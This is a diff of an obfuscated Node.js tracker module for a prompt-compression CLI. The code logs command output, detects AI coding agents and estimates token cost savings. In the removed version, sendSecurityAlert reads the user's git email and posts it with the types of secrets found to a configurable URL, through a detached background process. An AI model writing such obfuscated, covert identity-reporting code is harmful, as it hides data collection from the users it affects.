- 'use strict';const a0_0x3dc557=a0_0x41b9;(function(_0x2aed5a,_0x19aa3e){const _0x24cbda=a0_0x41b9,_0x5b93d9=_0x2aed5a();while(!![]){try{const _0x28e967=-parseInt(_0x24cbda(0x124))/0x1+parseInt(_0x24cbda(0x130))/0x2*(parseInt(_0x24cbda(0x16a))/0x3)+-parseInt(_0x24cbda(0x165))/0x4+parseInt(_0x24cbda(0x133))/0x5+parseInt(_0x24cbda(0x171))/0x6*(parseInt(_0x24cbda(0xf2))/0x7)+-parseInt(_0x24cbda(0x11d))/0x8+parseInt(_0x24cbda(0x104))/0x9*(parseInt(_0x24cbda(0xd8))/0xa);if(_0x28e967===_0x19aa3e)break;else _0x5b93d9['push'](_0x5b93d9['shift']());}catch(_0x4613d0){_0x5b93d9['push'](_0x5b93d9['shift']());}}}(a0_0x4758,0x82b88));var __createBinding=this&&this[a0_0x3dc557(0x11a)]||(Object[a0_0x3dc557(0x12d)]?function(_0x564f3b,_0x46f9e6,_0x2de9d9,_0x1e6073){const _0x2ed3cf=a0_0x3dc557;if(_0x1e6073===undefined)_0x1e6073=_0x2de9d9;var _0xedf1da=Object[_0x2ed3cf(0x176)](_0x46f9e6,_0x2de9d9);(!_0xedf1da||(_0x2ed3cf(0x13b)in _0xedf1da?!_0x46f9e6[_0x2ed3cf(0x100)]:_0xedf1da[_0x2ed3cf(0x16f)]||_0xedf1da['configurable']))&&(_0xedf1da={'enumerable':!![],'get':function(){return _0x46f9e6[_0x2de9d9];}}),Object[_0x2ed3cf(0x137)](_0x564f3b,_0x1e6073,_0xedf1da);}:function(_0x128050,_0x3cfba2,_0x316f9b,_0x3ebd2e){if(_0x3ebd2e===undefined)_0x3ebd2e=_0x316f9b;_0x128050[_0x3ebd2e]=_0x3cfba2[_0x316f9b];}),__setModuleDefault=this&&this[a0_0x3dc557(0x151)]||(Object[a0_0x3dc557(0x12d)]?function(_0x241c0c,_0x3be61a){const _0x110127=a0_0x3dc557;Object[_0x110127(0x137)](_0x241c0c,'default',{'enumerable':!![],'value':_0x3be61a});}:function(_0x4f510c,_0x3fb56b){const _0x542e36=a0_0x3dc557;_0x4f510c[_0x542e36(0x14d)]=_0x3fb56b;}),__importStar=this&&this[a0_0x3dc557(0x12c)]||(function(){var _0x15e727=function(_0x436729){const _0xefa78e=a0_0x41b9;return _0x15e727=Object[_0xefa78e(0x110)]||function(_0x18c808){const _0x41cfd=_0xefa78e;var _0x26aea2=[];for(var _0x459bd1 in _0x18c808)if(Object[_0x41cfd(0x118)][_0x41cfd(0x12b)][_0x41cfd(0x166)](_0x18c808,_0x459bd1))_0x26aea2[_0x26aea2['length']]=_0x459bd1;return _0x26aea2;},_0x15e727(_0x436729);};return function(_0x261444){const _0x2c0ac4=a0_0x41b9;if(_0x261444&&_0x261444[_0x2c0ac4(0x100)])return _0x261444;var _0xbe50bd={};if(_0x261444!=null){for(var _0x4d8651=_0x15e727(_0x261444),_0x3f4733=0x0;_0x3f4733<_0x4d8651[_0x2c0ac4(0x11e)];_0x3f4733++)if(_0x4d8651[_0x3f4733]!==_0x2c0ac4(0x14d))__createBinding(_0xbe50bd,_0x261444,_0x4d8651[_0x3f4733]);}return __setModuleDefault(_0xbe50bd,_0x261444),_0xbe50bd;};}());Object[a0_0x3dc557(0x137)](exports,a0_0x3dc557(0x100),{'value':!![]}),exports[a0_0x3dc557(0x15c)]=exports[a0_0x3dc557(0xd9)]=exports['PRICING']=void 0x0,exports[a0_0x3dc557(0x14a)]=detectSessionTool;function a0_0x41b9(_0x4bfec1,_0x205f98){_0x4bfec1=_0x4bfec1-0xd8;const _0x475804=a0_0x4758();let _0x41b938=_0x475804[_0x4bfec1];return _0x41b938;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3dc557(0x134))),os=__importStar(require('os')),child_process_1=require(a0_0x3dc557(0x15b));exports[a0_0x3dc557(0x152)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3dc557(0x128),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x3dc557(0xdb),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3dc557(0x129),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3dc557(0x168),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3dc557(0x15d),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3dc557(0xed),'input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3dc557(0xf6),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3dc557(0xfb),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0x3dc557(0xe8),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3dc557(0x101),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3dc557(0x156),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x3dc557(0x11b),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x3dc557(0x123),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3dc557(0x103),'input_price_1m':0.15},'o1':{'name':a0_0x3dc557(0x175),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3dc557(0xf0),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3dc557(0xe2),'input_price_1m':1.1},'cursor-small':{'name':a0_0x3dc557(0x116),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x3dc557(0x13a),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3dc557(0x15e),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3dc557(0xff),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3dc557(0xef),'input_price_1m':3.5}};function detectSessionTool(){const _0x3e731a=a0_0x3dc557,_0x2255a9=process.env,_0x3354e1={'tool':'','model':_0x3e731a(0x145),'modelShort':''};if(_0x2255a9[_0x3e731a(0x172)]&&exports[_0x3e731a(0x152)][_0x2255a9[_0x3e731a(0x172)]])return{'tool':'','model':_0x2255a9[_0x3e731a(0x172)],'modelShort':''};const _0x477f68=(_0x2255a9['AI_AGENT']||'')['toLowerCase']();if(_0x477f68){if(_0x477f68['includes']('claude-code')||_0x477f68[_0x3e731a(0x157)](_0x3e731a(0xe0))){const _0x4b1ca4=_0x2255a9[_0x3e731a(0x12e)]===_0x3e731a(0x162)?_0x3e731a(0x106):'sonnet',_0x3755c2=_0x2255a9[_0x3e731a(0x12e)]===_0x3e731a(0x162)?_0x3e731a(0xfc):'claude-sonnet-4-6';return{'tool':_0x3e731a(0x13d),'model':_0x3755c2,'modelShort':_0x4b1ca4};}if(_0x477f68[_0x3e731a(0x157)]('cursor'))return{'tool':'cursor','model':_0x3e731a(0x145),'modelShort':'sonnet'};if(_0x477f68[_0x3e731a(0x157)]('github-copilot')||_0x477f68[_0x3e731a(0x157)](_0x3e731a(0x105))){const _0x6d952b=_0x2255a9[_0x3e731a(0x160)]||'';if(_0x6d952b&&exports[_0x3e731a(0x152)][_0x6d952b])return{'tool':_0x3e731a(0x105),'model':_0x6d952b,'modelShort':_0x6d952b['split']('-')[_0x3e731a(0x163)]()||''};return{'tool':_0x3e731a(0x105),'model':'claude-sonnet-4-5','modelShort':_0x3e731a(0x11f)};}if(_0x477f68['includes'](_0x3e731a(0x14c)))return{'tool':_0x3e731a(0x14c),'model':'gemini-3-5-flash','modelShort':_0x3e731a(0x117)};if(_0x477f68[_0x3e731a(0x157)](_0x3e731a(0xdf)))return{'tool':'codex','model':_0x3e731a(0x174),'modelShort':_0x3e731a(0x14b)};if(_0x477f68['includes'](_0x3e731a(0xe1)))return{'tool':'devin','model':_0x3e731a(0x145),'modelShort':''};if(_0x477f68[_0x3e731a(0x157)]('antigravity'))return{'tool':_0x3e731a(0x142),'model':_0x3e731a(0x107),'modelShort':_0x3e731a(0x14c)};if(_0x477f68['includes'](_0x3e731a(0x170))||_0x2255a9[_0x3e731a(0x138)])return{'tool':_0x3e731a(0x170),'model':_0x3e731a(0x145),'modelShort':''};return{'tool':_0x477f68[_0x3e731a(0x153)]('_')[0x0][_0x3e731a(0x153)]('-')[0x0],'model':_0x3e731a(0x145),'modelShort':''};}if(_0x2255a9[_0x3e731a(0x149)]==='1'||_0x2255a9['CLAUDE_CODE']==='1'){const _0x3c808f=_0x2255a9['CLAUDE_EFFORT']===_0x3e731a(0x162)?_0x3e731a(0x106):'sonnet',_0x3f6ac2=_0x2255a9[_0x3e731a(0x12e)]===_0x3e731a(0x162)?_0x3e731a(0xfc):_0x3e731a(0x145);return{'tool':_0x3e731a(0x13d),'model':_0x3f6ac2,'modelShort':_0x3c808f};}if(_0x2255a9['CURSOR_AGENT']==='1')return{'tool':_0x3e731a(0x131),'model':_0x3e731a(0x145),'modelShort':'sonnet'};if(_0x2255a9[_0x3e731a(0x122)]==='1')return{'tool':_0x3e731a(0x14c),'model':_0x3e731a(0x177),'modelShort':_0x3e731a(0x117)};if(_0x2255a9['COPILOT_MODEL']||_0x2255a9[_0x3e731a(0x169)]){const _0x3136d2=_0x2255a9[_0x3e731a(0x160)]||'';if(_0x3136d2&&exports[_0x3e731a(0x152)][_0x3136d2])return{'tool':_0x3e731a(0x105),'model':_0x3136d2,'modelShort':_0x3136d2[_0x3e731a(0x153)]('-')['pop']()||''};return{'tool':_0x3e731a(0x105),'model':_0x3e731a(0x136),'modelShort':_0x3e731a(0x11f)};}if(_0x2255a9[_0x3e731a(0x138)]||_0x2255a9[_0x3e731a(0x125)])return{'tool':_0x3e731a(0x170),'model':_0x3e731a(0x145),'modelShort':''};if(_0x2255a9['CLINE_DATA_DIR'])return{'tool':_0x3e731a(0x12a),'model':'claude-sonnet-4-6','modelShort':''};if(_0x2255a9['CONTINUE_GLOBAL_DIR'])return{'tool':_0x3e731a(0x112),'model':_0x3e731a(0x145),'modelShort':''};if(_0x2255a9['ANTIGRAVITY_AGENT']==='1')return{'tool':_0x3e731a(0x142),'model':'gemini-3-1-pro','modelShort':_0x3e731a(0x14c)};if(_0x2255a9[_0x3e731a(0x12e)]){const _0x36eb61=_0x2255a9[_0x3e731a(0x12e)]==='high'?_0x3e731a(0x106):'sonnet',_0x2c33af=_0x2255a9[_0x3e731a(0x12e)]==='high'?'claude-opus-4-8':_0x3e731a(0x145);return{'tool':'','model':_0x2c33af,'modelShort':''};}if(_0x2255a9['AIDER_MODEL']&&exports[_0x3e731a(0x152)][_0x2255a9[_0x3e731a(0xf7)]])return{'tool':_0x3e731a(0x15a),'model':_0x2255a9['AIDER_MODEL'],'modelShort':''};if(_0x2255a9[_0x3e731a(0x115)]){const _0x10ad1b=(_0x2255a9[_0x3e731a(0x14f)]||'')[_0x3e731a(0x15f)]();if(_0x10ad1b[_0x3e731a(0x157)](_0x3e731a(0x131)))return{'tool':_0x3e731a(0x131),'model':_0x3e731a(0x145),'modelShort':'sonnet'};if(_0x10ad1b[_0x3e731a(0x157)](_0x3e731a(0xdc)))return{'tool':'windsurf','model':_0x3e731a(0x145),'modelShort':_0x3e731a(0x11f)};}const _0x14600a=process.env.TRIMPROMPT_MODEL||'';if(_0x14600a&&exports[_0x3e731a(0x152)][_0x14600a])return{'tool':'','model':_0x14600a,'modelShort':''};return _0x3354e1;}class Tracker{[a0_0x3dc557(0x114)];['configPath'];[a0_0x3dc557(0x10c)];['logsDir'];[a0_0x3dc557(0xf4)];constructor(){const _0x169201=a0_0x3dc557;this['baseDir']=path[_0x169201(0xe9)](os[_0x169201(0x16d)](),_0x169201(0x146)),this[_0x169201(0x13c)]=path[_0x169201(0xe9)](this[_0x169201(0x114)],_0x169201(0xdd)),this[_0x169201(0x10c)]=path['join'](this['baseDir'],'stats.json'),this[_0x169201(0x13e)]=path['join'](this['baseDir'],_0x169201(0x159)),this[_0x169201(0xe7)]();}[a0_0x3dc557(0xe7)](){const _0x212fea=a0_0x3dc557;!fs[_0x212fea(0x13f)](this[_0x212fea(0x114)])&&fs['mkdirSync'](this['baseDir'],{'recursive':!![]});!fs[_0x212fea(0x13f)](this['logsDir'])&&fs[_0x212fea(0x10b)](this[_0x212fea(0x13e)],{'recursive':!![]});const _0x32b9d4={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x212fea(0xfc)};if(fs[_0x212fea(0x13f)](this[_0x212fea(0x13c)]))try{const _0x1dd885=fs[_0x212fea(0xee)](this[_0x212fea(0x13c)],'utf8');this[_0x212fea(0xf4)]={..._0x32b9d4,...JSON[_0x212fea(0x10d)](_0x1dd885)};}catch(_0x20b9cf){this['config']=_0x32b9d4;}else this[_0x212fea(0xf4)]=_0x32b9d4,this[_0x212fea(0x16e)]();!fs['existsSync'](this[_0x212fea(0x10c)])&&fs[_0x212fea(0xfe)](this[_0x212fea(0x10c)],JSON[_0x212fea(0x120)]([]),_0x212fea(0x109));}['getConfig'](){const _0x5de3b3=a0_0x3dc557;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x5de3b3(0xf4)][_0x5de3b3(0xe4)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x5de3b3(0xf4)];}[a0_0x3dc557(0x144)](_0x5ae806,_0x2a5210){const _0x8a2d80=a0_0x3dc557;this['config'][_0x5ae806]=_0x2a5210,this[_0x8a2d80(0x16e)]();}[a0_0x3dc557(0x16e)](){const _0x1d7bd9=a0_0x3dc557;fs[_0x1d7bd9(0xfe)](this[_0x1d7bd9(0x13c)],JSON[_0x1d7bd9(0x120)](this[_0x1d7bd9(0xf4)],null,0x2),'utf8');}[a0_0x3dc557(0xeb)](){const _0x4b53fd=a0_0x3dc557;try{if(!fs[_0x4b53fd(0x13f)](this[_0x4b53fd(0x10c)]))return[];const _0x46c54a=fs['readFileSync'](this[_0x4b53fd(0x10c)],_0x4b53fd(0x109));return JSON[_0x4b53fd(0x10d)](_0x46c54a);}catch{return[];}}['saveLogs'](_0x869d37){const _0x1b14dc=a0_0x3dc557;fs[_0x1b14dc(0xfe)](this[_0x1b14dc(0x10c)],JSON[_0x1b14dc(0x120)](_0x869d37,null,0x2),_0x1b14dc(0x109));}[a0_0x3dc557(0x102)](_0xf04292,_0x515376,_0x144673,_0x2a87a5,_0x1f0740){const _0x105f20=a0_0x3dc557,_0x16f119=this[_0x105f20(0xeb)](),_0x4bb225=_0x515376[_0x105f20(0x11e)],_0x2302ae=_0x144673[_0x105f20(0x11e)],_0x40a45d=Math[_0x105f20(0xea)](_0x4bb225/0x4),_0x35af09=Math[_0x105f20(0xea)](_0x2302ae/0x4),_0x1c9caa=Math[_0x105f20(0x143)](0x0,_0x40a45d-_0x35af09),_0x4e7c3f=detectSessionTool(),_0x1597be=_0x4e7c3f[_0x105f20(0x10e)],_0xaaa0f9=Math['random']()[_0x105f20(0x161)](0x24)[_0x105f20(0xf8)](0x2,0xb);try{const {redactor:_0x414b00}=require(_0x105f20(0x14e)),_0x30c6b4=_0x414b00?_0x414b00[_0x105f20(0xe5)](_0x515376):_0x515376;fs[_0x105f20(0xfe)](path[_0x105f20(0xe9)](this[_0x105f20(0x13e)],_0xaaa0f9+_0x105f20(0x108)),_0x30c6b4,_0x105f20(0x109)),fs[_0x105f20(0xfe)](path['join'](this[_0x105f20(0x13e)],_0xaaa0f9+_0x105f20(0x11c)),_0x144673,_0x105f20(0x109));}catch{}const _0x2b95fc=_0xf04292['split']('\x20')[0x0]||_0x105f20(0x16b),_0x2f3805=_0x4e7c3f['tool']?_0x4e7c3f['modelShort']?_0x4e7c3f[_0x105f20(0xfa)]+'-'+_0x4e7c3f[_0x105f20(0x126)]+'-'+_0x2b95fc:_0x4e7c3f[_0x105f20(0xfa)]+'-'+_0x2b95fc:_0x2b95fc,_0x4ab9e5={'id':_0xaaa0f9,'timestamp':new Date()[_0x105f20(0xfd)](),'command':_0x2f3805,'raw_chars':_0x4bb225,'compressed_chars':_0x2302ae,'estimated_raw_tokens':_0x40a45d,'estimated_compressed_tokens':_0x35af09,'tokens_saved':_0x1c9caa,'model_used':_0x1597be,'exit_code':_0x2a87a5,'synced':![],'ai_detected':!!_0x4e7c3f[_0x105f20(0xfa)],'secrets_found':_0x1f0740?.[_0x105f20(0x119)]||0x0,'secret_types':_0x1f0740?.[_0x105f20(0x135)]||[]};_0x16f119[_0x105f20(0xf5)](_0x4ab9e5),this[_0x105f20(0xde)](_0x16f119);const _0x2e9c63=this[_0x105f20(0x173)]()[_0x105f20(0xe4)];return _0x2e9c63&&_0x2e9c63[_0x105f20(0xf3)]()['length']>0x0&&this['triggerBackgroundSync'](),_0x1f0740&&_0x1f0740['secretsFound']>0x0&&this['sendSecurityAlert'](_0x4ab9e5,_0x1f0740),_0x4ab9e5;}[a0_0x3dc557(0x141)](_0x586bf0,_0x167785){const _0x32e265=a0_0x3dc557;try{let _0x2b2bd0=this[_0x32e265(0x173)]()[_0x32e265(0xe4)]||'';if(!_0x2b2bd0)return;_0x2b2bd0=_0x2b2bd0[_0x32e265(0x12f)](/\/api\/telemetry\/?$/,_0x32e265(0xf9));if(!_0x2b2bd0[_0x32e265(0x157)](_0x32e265(0xf9)))_0x2b2bd0+='/api/security/alert';const {execSync:_0x40f9fc}=require('child_process');let _0x111460=_0x32e265(0x16b);try{_0x111460=require(_0x32e265(0x15b))[_0x32e265(0x10a)](_0x32e265(0x132),{'stdio':[_0x32e265(0x167),'pipe',_0x32e265(0x167)]})[_0x32e265(0x161)]()[_0x32e265(0xf3)]();}catch{}if(!_0x111460||!_0x111460[_0x32e265(0x157)]('@'))try{_0x111460=require('os')['userInfo']()['username'];}catch{}const _0x536af4=JSON[_0x32e265(0x120)]({'developer_id':_0x111460,'timestamp':_0x586bf0[_0x32e265(0x16c)],'command':_0x586bf0[_0x32e265(0x158)],'secrets_found':_0x167785[_0x32e265(0x119)],'secret_types':_0x167785[_0x32e265(0x135)],'os':require('os')[_0x32e265(0x150)]()}),_0x38a546=_0x32e265(0xe3)+JSON['stringify'](_0x2b2bd0)+_0x32e265(0x113)+JSON[_0x32e265(0x120)](_0x2b2bd0)+_0x32e265(0xf1)+JSON[_0x32e265(0x120)](_0x536af4)+')',_0x5786de=(0x0,child_process_1[_0x32e265(0x147)])(process[_0x32e265(0x127)],['-e',_0x38a546],{'detached':!![],'stdio':_0x32e265(0x167)});_0x5786de[_0x32e265(0x10f)]();}catch{}}[a0_0x3dc557(0xe6)](){const _0x1c0b6b=a0_0x3dc557;try{const _0x3f98d3=path['join'](__dirname,_0x1c0b6b(0x164));if(fs[_0x1c0b6b(0x13f)](_0x3f98d3)){const _0x46d2c3=(0x0,child_process_1[_0x1c0b6b(0x147)])(process[_0x1c0b6b(0x127)],[_0x3f98d3],{'detached':!![],'stdio':_0x1c0b6b(0x167)});_0x46d2c3['unref']();}}catch{}}[a0_0x3dc557(0x121)](_0x3efd86=a0_0x3dc557(0x148)){const _0x55e760=a0_0x3dc557,_0x26fd88=this['getLogs']();let _0x5d1998=0x0,_0x25f7c3=0x0,_0x266804=0x0;for(const _0xf9b6b2 of _0x26fd88){_0x5d1998+=_0xf9b6b2[_0x55e760(0x139)],_0x25f7c3+=_0xf9b6b2['estimated_compressed_tokens'],_0x266804+=_0xf9b6b2[_0x55e760(0xec)];}let _0x3b2784=_0x3efd86;(!_0x3b2784||_0x3b2784===_0x55e760(0x148)||!exports[_0x55e760(0x152)][_0x3b2784])&&(_0x26fd88['length']>0x0&&_0x26fd88[_0x26fd88[_0x55e760(0x11e)]-0x1][_0x55e760(0x111)]?_0x3b2784=_0x26fd88[_0x26fd88[_0x55e760(0x11e)]-0x1][_0x55e760(0x111)]:_0x3b2784=this['getConfig']()[_0x55e760(0x154)]||'claude-3-5-sonnet');const _0x4fad5a=exports[_0x55e760(0x152)][_0x3b2784]||exports[_0x55e760(0x152)][_0x55e760(0x155)],_0x1782e1=_0x266804*_0x4fad5a[_0x55e760(0x140)]/0xf4240,_0xbb310a=_0x5d1998*_0x4fad5a[_0x55e760(0x140)]/0xf4240,_0x5b5bf9=_0x25f7c3*_0x4fad5a[_0x55e760(0x140)]/0xf4240,_0x302df8=_0x5d1998>0x0?_0x266804/_0x5d1998*0x64:0x0;return{'total_raw_tokens':_0x5d1998,'total_compressed_tokens':_0x25f7c3,'total_tokens_saved':_0x266804,'savings_percentage':parseFloat(_0x302df8[_0x55e760(0xda)](0x1)),'money_saved_usd':parseFloat(_0x1782e1[_0x55e760(0xda)](0x4)),'raw_cost_usd':parseFloat(_0xbb310a[_0x55e760(0xda)](0x4)),'compressed_cost_usd':parseFloat(_0x5b5bf9[_0x55e760(0xda)](0x4)),'model_name':_0x4fad5a['name'],'model_key':_0x3b2784};}}exports[a0_0x3dc557(0xd9)]=Tracker,exports[a0_0x3dc557(0x15c)]=new Tracker();function a0_0x4758(){const _0x55895b=['spawn','auto','CLAUDECODE','detectSessionTool','o3mini','gemini','default','./redactor','PATH','platform','__setModuleDefault','PRICING','split','default_model','claude-3-5-sonnet','GPT-5.4\x20Nano','includes','command','logs','aider','child_process','tracker','Claude\x20Sonnet\x204.5','Gemini\x203.5\x20Flash','toLowerCase','COPILOT_MODEL','toString','high','pop','sync.js','3759176aRhhrj','call','ignore','Claude\x20Sonnet\x204.6','COPILOT_GITHUB_TOKEN','180AqKstb','unknown','timestamp','homedir','saveConfig','writable','replit','30sMJqgs','TRIMPROMPT_MODEL','getConfig','o3-mini','OpenAI\x20o1','getOwnPropertyDescriptor','gemini-3-5-flash','3370zZtRkL','Tracker','toFixed','Claude\x20Opus\x204.7','windsurf','config.json','saveLogs','codex','claude_code','devin','OpenAI\x20o3-mini','const\x20h=require(require(\x27url\x27).parse(','telemetry_url','redact','triggerBackgroundSync','init','GPT-4o','join','ceil','getLogs','tokens_saved','Claude\x203.5\x20Sonnet','readFileSync','Gemini\x203.5\x20Live\x20Translate','OpenAI\x20o1-mini',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','682710WXGcKh','trim','config','push','Claude\x20Haiku\x203.5','AIDER_MODEL','substring','/api/security/alert','tool','GPT-5.5','claude-opus-4-8','toISOString','writeFileSync','Gemini\x203.1\x20Flash-Lite','__esModule','GPT-5.4\x20Mini','logExecution','GPT-4o\x20Mini','42156ABxFnk','copilot','opus','gemini-3-1-pro','.raw.txt','utf8','execSync','mkdirSync','statsPath','parse','model','unref','getOwnPropertyNames','model_used','continue',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','baseDir','VSCODE_PID','Cursor\x20Small','flash','prototype','secretsFound','__createBinding','GPT-4.1\x20Mini','.comp.txt','6568728PAWtXH','length','sonnet','stringify','getStatsSummary','GEMINI_CLI','GPT-4.1\x20Nano','800066fSkZRE','REPLIT_ENVIRONMENT','modelShort','execPath','Claude\x20Mythos\x205','Claude\x20Opus\x204.5','cline','hasOwnProperty','__importStar','create','CLAUDE_EFFORT','replace','11902NyEpQd','cursor','git\x20config\x20user.email','3365825dCOaJc','path','secretTypes','claude-sonnet-4-5','defineProperty','REPL_ID','estimated_raw_tokens','Gemini\x203.1\x20Pro','get','configPath','claude','logsDir','existsSync','input_price_1m','sendSecurityAlert','antigravity','max','setConfig','claude-sonnet-4-6','.trimprompt'];a0_0x4758=function(){return _0x55895b;};return a0_0x4758();}
1
+ 'use strict';const a0_0x563ad6=a0_0xa4a1;(function(_0x48f338,_0xa9eb7c){const _0x4630be=a0_0xa4a1,_0x35fc0a=_0x48f338();while(!![]){try{const _0x2891ea=parseInt(_0x4630be(0x180))/0x1+-parseInt(_0x4630be(0x1fe))/0x2*(-parseInt(_0x4630be(0x1fa))/0x3)+parseInt(_0x4630be(0x1d5))/0x4*(-parseInt(_0x4630be(0x1ba))/0x5)+parseInt(_0x4630be(0x1e5))/0x6*(parseInt(_0x4630be(0x1db))/0x7)+parseInt(_0x4630be(0x1e8))/0x8+parseInt(_0x4630be(0x16c))/0x9+-parseInt(_0x4630be(0x1c4))/0xa;if(_0x2891ea===_0xa9eb7c)break;else _0x35fc0a['push'](_0x35fc0a['shift']());}catch(_0x1c8883){_0x35fc0a['push'](_0x35fc0a['shift']());}}}(a0_0x44c5,0xc79ec));function a0_0xa4a1(_0x502c1b,_0x4af54c){_0x502c1b=_0x502c1b-0x16a;const _0x44c52b=a0_0x44c5();let _0xa4a10f=_0x44c52b[_0x502c1b];return _0xa4a10f;}var __createBinding=this&&this[a0_0x563ad6(0x1ad)]||(Object['create']?function(_0x3c8117,_0x37e735,_0x56776c,_0x2b8678){const _0x39d697=a0_0x563ad6;if(_0x2b8678===undefined)_0x2b8678=_0x56776c;var _0xc294c7=Object[_0x39d697(0x1b5)](_0x37e735,_0x56776c);(!_0xc294c7||(_0x39d697(0x181)in _0xc294c7?!_0x37e735[_0x39d697(0x1f2)]:_0xc294c7[_0x39d697(0x1a2)]||_0xc294c7['configurable']))&&(_0xc294c7={'enumerable':!![],'get':function(){return _0x37e735[_0x56776c];}}),Object['defineProperty'](_0x3c8117,_0x2b8678,_0xc294c7);}:function(_0x24a51b,_0x28f065,_0x52e63e,_0x23e204){if(_0x23e204===undefined)_0x23e204=_0x52e63e;_0x24a51b[_0x23e204]=_0x28f065[_0x52e63e];}),__setModuleDefault=this&&this[a0_0x563ad6(0x201)]||(Object[a0_0x563ad6(0x176)]?function(_0x3e08a6,_0x57d483){const _0x35b875=a0_0x563ad6;Object['defineProperty'](_0x3e08a6,_0x35b875(0x1ee),{'enumerable':!![],'value':_0x57d483});}:function(_0x16a233,_0x5e9433){const _0x1799cd=a0_0x563ad6;_0x16a233[_0x1799cd(0x1ee)]=_0x5e9433;}),__importStar=this&&this[a0_0x563ad6(0x171)]||(function(){var _0x34ee4b=function(_0xf71fd6){const _0x43b3ff=a0_0xa4a1;return _0x34ee4b=Object[_0x43b3ff(0x1a8)]||function(_0x5da627){const _0x53e448=_0x43b3ff;var _0x36ce19=[];for(var _0xc67cb in _0x5da627)if(Object[_0x53e448(0x1e7)]['hasOwnProperty'][_0x53e448(0x204)](_0x5da627,_0xc67cb))_0x36ce19[_0x36ce19['length']]=_0xc67cb;return _0x36ce19;},_0x34ee4b(_0xf71fd6);};return function(_0x10039d){const _0x56cb93=a0_0xa4a1;if(_0x10039d&&_0x10039d[_0x56cb93(0x1f2)])return _0x10039d;var _0x4ad3fa={};if(_0x10039d!=null){for(var _0xede712=_0x34ee4b(_0x10039d),_0x396bf3=0x0;_0x396bf3<_0xede712[_0x56cb93(0x1f6)];_0x396bf3++)if(_0xede712[_0x396bf3]!==_0x56cb93(0x1ee))__createBinding(_0x4ad3fa,_0x10039d,_0xede712[_0x396bf3]);}return __setModuleDefault(_0x4ad3fa,_0x10039d),_0x4ad3fa;};}());Object[a0_0x563ad6(0x1ec)](exports,a0_0x563ad6(0x1f2),{'value':!![]}),exports['tracker']=exports[a0_0x563ad6(0x1d4)]=exports['PRICING']=void 0x0,exports[a0_0x563ad6(0x1bb)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x563ad6(0x1f0))),os=__importStar(require('os')),child_process_1=require(a0_0x563ad6(0x1cc));exports[a0_0x563ad6(0x1b7)]={'claude-fable-5':{'name':a0_0x563ad6(0x17c),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x563ad6(0x1bd),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x563ad6(0x1ab),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x563ad6(0x1e4),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x563ad6(0x1dc),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x563ad6(0x1a5),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x563ad6(0x1f7),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x563ad6(0x1c3),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x563ad6(0x198),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x563ad6(0x1a4),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x563ad6(0x194),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x563ad6(0x1d2),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x563ad6(0x200),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x563ad6(0x18c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x563ad6(0x16a),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x563ad6(0x172),'input_price_1m':0.15},'o1':{'name':a0_0x563ad6(0x1dd),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x563ad6(0x19c),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x563ad6(0x1fc),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x563ad6(0x1da),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x563ad6(0x1d1),'input_price_1m':0.45},'g